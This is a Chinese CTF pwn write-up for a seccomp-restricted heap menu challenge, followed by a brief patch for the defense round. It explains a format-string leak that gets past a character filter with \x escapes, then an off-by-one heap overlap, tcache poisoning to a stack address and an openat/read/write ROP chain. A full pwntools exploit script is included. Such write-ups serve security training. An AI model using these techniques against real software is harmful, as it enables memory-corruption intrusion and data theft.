Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled题目还开了 seccomp,禁了三个系统调用:
openexecveexecveat
程序有两层菜单,主菜单里最关键的是set_notice/show_status:
sub_1447(s, 512LL);if ( strchr(s, 37) || strchr(s, 36) )puts("[X] raw input contains illegal chars");else if ( sub_1528(s, src, 256LL) )puts("[X] decode failed");elsememcpy(byte_51C0, src, 0x100);printf("Notice: ");if ( dword_52C0 ){if ( dword_52C4 )printf("%s", byte_51C0);else { dword_52C4 = 1;printf(byte_51C0); }}这里有两个点:
原始输入里不能直接出现 %和$,但支持\x转义解码,所以可以用\x25、\x24还原格式化串printf(byte_51C0)只会执行一次,是一个一次性格式化字符串。
管理员菜单的漏洞更直接:
v0 = sub_1C1D("Write length :", 1LL, qword_5180[idx] + 1LL);v7 = read(0, heaps[idx], v0);if ( qword_5180[idx] <= v7 ) heaps[idx][qword_5180[idx] - 1] = 0;else heaps[idx][v7] = 0;edit允许写到cap + 1,因此可以做到一字节堆溢出。但有两个恶心的限制:
总会补一个 \0query又都是按 %s打印
再看create:
heaps[idx] = malloc(size);memset(heaps[idx], 0, size);这意味着常规的 overlap 泄露并不好做:
新申请的块会被 memset清干净就算 overlap 到了 free chunk, edit补的\0也很容易把字符串截断
所以这题表面是“格式化字符串 + 堆菜单 + off-by-one”,但我觉得难点其实是:在memset和\0截断同时存在的情况下,怎么稳定读到 free chunk 里的指针数据。
Step1 格式化字符串泄露关键信息
管理员密码不是固定值,而是程序启动时随机生成的两段 8 字节数据:
snprintf(s, 0x28uLL, "%016lx%016lx", qword_52D0, qword_52D8);if ( !strcmp(s1, "ROBOADMIN") && !strcmp(v14, s) )所以第一步必须先把 password 泄露出来,看汇编发现show_status函数有把password写到栈上。

由于 notice 支持\x解码,我们可以把 payload 写成:
payload = b"\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"解码后就是:
%6$p %7$p %15$p %23$p %14$p%6$p%7$p泄露 password 的两半%15$p泄露 PIE %23$p泄露 libc %14$p拿一个栈地址
Step2 分析堆布局
这题登录前会经过 seccomp 初始化,libseccomp 会在堆上留下大量分配/释放痕迹,导致登录之后的 heap 并不干净。
这里实际观察到的关键 bin 状态如下:
tcache[0x60]: 0x...d2a0 ->0x...e900tcache[0x30]: 0x...d300 ->0x...d460tcache[0xd0]: 0x...db10 ->0x...d7e0 ->0x...d350tcache[0x40]: 0x...dcd0 ->0x...d9a0 ->0x...d670 -> ...unsortbin: 0x5d57ca34d9d0 (size : 0xf0)发现tcache[0x60][0]和tcache[0x30][0]的地址相邻(0xd2a0和0xd300),又发现和tcache[0x30][0]最近的是tcache[0xd0][2](0x...d350),它们中间夹了个0x20大小的fastbin。
add(0, "A", 0x58) # 0x...d2a0add(1, "B", 0x28) # 0x...d300add(2, "C", 0xc8) # 0x...db10add(3, "D", 0xc8) # 0x...d7e0add(4, "E", 0xc8) # 0x...d350add(5, "cls", 0x28) # 0x...d460利用off-by-one修改B的size为0x91,构造chunk overlap
edit(0, 0x59, b'A'*0x58 + p8(0x91))真正参与 overlap 的其实只有三块
A: [0x...d290, size=0x60]B: [0x...d2f0, size=0x30]E: [0x...d340, size=0xd0]修改E的数据域绕过glibc检查
如果把B视为一个0x90chunk,那么:
nextchunk = d380nextchunk->size在 d388再往后一个 chunk 的 size在d3a8
所以要先在E里面伪造两个最小合法 chunk 头:
fake_chunk = flat( { 0x38: p64(0x21), 0x58: p64(0x21), }, filler=b"\x00",)edit(4, 0x60, fake_chunk)这里顺手还要做以下堆风水:
申请一个稍大的块把 unsortedbin清走把 tcache[0x90]填满,保证 fake0x90chunk 在free时进unsorted吃掉 smallbin[0x60],保证从unsorted切割块清空 tcache[0x30],保证后面malloc(0x28)一定吃到我们 split 出来的 remainder
这里没有走“大块合并 -> unsorted/largebin”那套路线,因为题目限制申请大小< 0x200
Step3 泄露heap基址
free(1) # free fake 0x90(B)add(7, "F", 0x40)add(1, "X", 0x28)申请0x40时,对应 chunk size 是0x50,所以 fake0x90chunk 会被切成:
[0x...d2f0, size=0x50] 已分配给 slot7[0x...d340, size=0x40] remainder注意这个remainder的 chunk 头正好落在E原来的位置上。
申请0x28时,对应 chunk size 是0x30,此时0x40remainder 再 split 只会剩下0x10,不满足最小 chunk 尺寸,因此 glibc 会把整个0x40chunk 返回。于是新的 user 指针就是0x...d350
也就是E的 user 起点
所以这一步结束之后:
slot1->desc == 0x...d350slot4->desc == 0x...d350
这一点非常重要,它绕开了这题最烦的两个限制:
create会 memset新 chunk,残留元数据很难保住edit总会补 \0,普通字符串泄露很容易被截断
现在不一样了。后面只要把slot4free 掉,tcache 写进去的fd就会直接落在slot1看到的 user 开头。字符串从泄露数据本身开始,就不会再被前面的\0卡死。
tcache[0x40]原本就已经有 6 个节点,头结点是0x...dcd0,所以 freed chunk 开头被写入的是:
fd = (heap_base + 0xcd0) ^ (0x...d350 >> 12)读取fd后还原:
leak = uu64()z = leak ^ 0xcd0key = 0prev = 0for i in range(0, 64, 12): cur = ((z >> i) & 0xfff) ^ prev key |= cur << i prev = curheap_base = key << 12Step4 栈迁移 + ORW ROP收尾
拿到heap_base之后,接下来的事情就简单了。slot1仍然指向刚刚 free 掉的0x40chunk,所以我们可以改它的fd为栈地址,完成任意地址分配到栈。
retaddr = stackaddr - 0x30edit(1, 0x10, p64(retaddr ^ key))free(5) # 腾出 slot index,和 poison 无关add(5, "tc", 0x38) # 取走 headadd(4, "migrate", 0x38) # 返回 retaddr之后
在一块大 chunk 里放 ROP 链 在另一块 chunk 里放 /flag覆盖 admin_menu函数的stack context为leave; ret栈迁移
我这里把 ROP 链写在slot3对应的0xc8chunk 里,把/flag写在一块普通缓冲里。由于 seccomp 禁掉了open,所以用openat。
elf.address = pielibc.address = libcbaserop = ROP([elf, libc])ropaddr = heap_base+0x7e0flagaddr = heap_base+0xa70edit(6, 0x10, b"/flag")rop.raw(p64(0))rop.call("openat", [-100, flagaddr, 0])rop.call("read", [3, flagaddr+0x10, 0x50])rop.call("write", [1, flagaddr+0x10, 0x50])#print(rop.dump())edit(3, 0xc8, rop.chain())栈迁移覆盖内容:
leave_ret = elf.search(asm("leave;ret")).__next__()edit(4, 0x38, flat(ropaddr, leave_ret))menu(6)
完整Exp
from pwn import *import structdef debug(c = 0):if(c): gdb.attach(p, c)else: gdb.attach(p)def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))def rol(value, shift, bits=64):return ((value << shift) & (2**bits - 1)) | (value >> (bits - shift))sd = lambda data : p.send(data)sa = lambda text,data :p.sendafter(text, data)sl = lambda data: p.sendline(data if isinstance(data, bytes) else str(data).encode())sla = lambda text,data :p.sendlineafter(text, data if isinstance(data, bytes) else str(data).encode())rc = lambda num=4096 :p.recv(num)ru = lambda text :p.recvuntil(text)rl = lambda :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia = lambda :p.interactive()l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))uheap = lambda :u64(p.recv(6).ljust(8,b'\x00'))logaddr = lambda s, n :p.success('%s -> 0x%x' % (s, n))context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./pwn"libc = "./libc.so.6"def login(pwd): sla("> \n", str(3)) sla("Token:\n", "ROBOADMIN") sla("(32 hex):\n", pwd)if b"login success" in rl(): success("login success!")return 1else:print("\033[31mlogin failed!\033[0m")return 0def menu(idx): sla("> ", str(idx))def add(idx, name, size): menu(1) sla("Index:\n", str(idx)) sla("Task name:\n", name) sla("Desc size:\n", str(size))def edit(idx, size, cont): menu(2) sla("Index:\n", str(idx)) sla("Write length :", str(size)) sa("New desc bytes:", cont)def show(idx): menu(3) sla("Index:\n", str(idx)) ru(" => ")def free(idx): menu(5) sla("Index:\n", str(idx))context.binary = elf = ELF("./pwn")context.arch = "amd64"context.log_level = "debug" if args.D else "info"p = process(file)elf = ELF(file, False)libc = ELF(libc, False)payload = "\\x256\\x24p \\x257\\x24p \\x2515\\x24p \\x2523\\x24p \\x2514\\x24p"ru("> \n")sl(str(1))sleep(0.5)sl(payload)ru("> \n")#debug("b *$rebase(0x1A4A)")#pause()sl(str(2))ru("Notice: ")leaks = rl().split(b' ')#print(leaks)pwd = leaks[0][2:] + leaks[1][2:]success("password: %s", pwd.decode())pie = int(leaks[2], 16) - 0x2893libcbase = int(leaks[3], 16) - 0x29d90stackaddr = int(leaks[4], 16)if not login(pwd): exit(0)add(0, "clear", 0x180) # clear unsortedbinfree(0)# fill tcachefor i in range(7): add(i, f"T{i}", 0x80)for i in range(7): free(i)add(0, "A", 0x58)add(1, "B", 0x28)add(2, "C", 0xc8)add(3, "D", 0xc8)add(4, "E", 0xc8)add(5, "cls", 0x28)add(6, "clear", 0x48) # clear smallbinfake_chunk = flat( {0x38: p64(0x21),0x58: p64(0x21), }, filler=b"\x00",)edit(4, 0x60, fake_chunk)edit(0, 0x59, b'A'*0x58 + p8(0x91))free(1)add(7, "F", 0x40)add(1, "X", 0x28)free(4)show(1)leak = uu64()z = leak ^ 0xcd0key = 0prev = 0for i in range(0, 64, 12): cur = ((z >> i) & 0xfff) ^ prev key |= cur << i prev = curheap_base = key << 12logaddr("heapbase", heap_base)logaddr("pie", pie)logaddr("libcbase", libcbase)logaddr("stack", stackaddr)elf.address = pielibc.address = libcbaserop = ROP([elf, libc])ropaddr = heap_base+0x7e0flagaddr = heap_base+0xa70edit(6, 0x10, b"/flag")rop.raw(p64(0))rop.call("openat", [-100, flagaddr, 0])rop.call("read", [3, flagaddr+0x10, 0x50])rop.call("write", [1, flagaddr+0x10, 0x50])#print(rop.dump())edit(3, 0xc8, rop.chain())leave_ret = elf.search(asm("leave;ret")).__next__()retaddr = stackaddr-0x30edit(1, 0x10, p64(retaddr ^ key))free(5)add(5, "tc", 0x38)#debug("b *$rebase(0x2635)")#pause()add(4, "migrate", 0x38)edit(4, 0x38, flat(ropaddr, leave_ret))menu(6)ia()根据题目描述进行修复的
请同时检查 set_notice() 与 show_status() 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 "[X] decoded input contains illegal chars"。

对\x转换后的字符进行检查,过滤了%字符,同时将[X] decoded input contains illegal chars字符串写到eh_frame段,修改错误输出为题目要求即可。

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